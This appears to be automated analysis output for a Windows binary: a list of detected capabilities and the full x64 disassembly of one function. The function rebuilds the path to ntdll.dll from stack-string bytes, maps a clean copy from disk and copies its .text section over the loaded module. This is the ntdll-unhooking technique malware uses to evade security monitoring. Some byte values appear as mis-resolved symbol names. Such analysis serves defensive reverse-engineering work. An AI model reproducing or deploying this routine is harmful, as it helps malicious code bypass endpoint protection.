Function at 0x140009e24
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Get file size
Read file via mapping

Disassembly:
push rdi
sub rsp, 0xf0
mov byte [rsp + 0x50], 0x43
mov byte [rsp + 0x51], 0x3a
mov byte [rsp + 0x52], 0x5c
mov byte [rsp + 0x53], 0x57
mov byte [rsp + 0x54], 0x69
mov byte [rsp + 0x55], WSASetLastError
mov byte [rsp + 0x56], 0x64
mov byte [rsp + 0x57], WSASetLastError
mov byte [rsp + 0x58], 0x77
mov byte [rsp + 0x59], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x5a], 0x5c
mov byte [rsp + 0x5b], 0x53
mov byte [rsp + 0x5c], 0x79
mov byte [rsp + 0x5d], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x5e], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x5f], 0x65
mov byte [rsp + 0x60], WSASetLastError
mov byte [rsp + 0x61], 0x33
mov byte [rsp + 0x62], 0x32
mov byte [rsp + 0x63], 0x5c
mov byte [rsp + 0x64], WSASetLastError
mov byte [rsp + 0x65], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x66], 0x64
mov byte [rsp + 0x67], WSASetLastError
mov byte [rsp + 0x68], WSASetLastError
mov byte [rsp + 0x69], 0x2e
mov byte [rsp + 0x6a], 0x64
mov byte [rsp + 0x6b], WSASetLastError
mov byte [rsp + WSASetLastError], 0x6c
mov byte [rsp + 0x6d], 0
mov byte [rsp + 0x48], 0x2e
mov byte [rsp + 0x49], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x4a], 0x65
mov byte [rsp + 0x4b], 0x78
mov byte [rsp + 0x4c], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x4d], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa8], rax
lea rax, [rsp + 0xd8]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0xa0], rax
mov r9d, 0x18
lea r8, [rsp + 0xd8]
mov rdx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x90], rax
xor edx, edx
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x80], eax
mov eax, dword [rsp + 0x80]
inc eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], eax
xor r9d, r9d
mov r8d, 0x1000002
xor edx, edx
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 4
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x98]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x98]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xb8]
add rax, 4
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
add rax, 0x14
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x88]
movzx eax, word [rax + 0x10]
mov rcx, qword [rsp + 0xc0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x70], 0
jmp 0x14000a085
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x88]
movzx eax, word [rax + 2]
cmp dword [rsp + 0x70], eax
jge 0x14000a17a
mov rax, qword [rsp + 0x40]
lea rdx, [rsp + 0x48]
mov rcx, rax
call fcn.1401bb810
test eax, eax
jne 0x14000a167
mov dword [rsp + 0x74], 0
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 8]
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x78]
add rdx, rcx
mov rcx, rdx
lea r9, [rsp + 0x74]
mov r8d, 0x40
mov edx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 8]
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0xc8]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x40]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rsp + 0x78]
add rdi, rdx
mov rdx, rdi
mov qword [rsp + 0xd0], rdx
mov r8d, eax
mov rdx, rcx
mov rax, qword [rsp + 0xd0]
mov rcx, rax
call fcn.1401db640
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 8]
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x78]
add rdx, rcx
mov rcx, rdx
lea r9, [rsp + 0x74]
mov r8d, dword [rsp + 0x74]
mov edx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rsp + 0x40]
add rax, 0x28
mov qword [rsp + 0x40], rax
jmp 0x14000a07b
add rsp, 0xf0
pop rdi
ret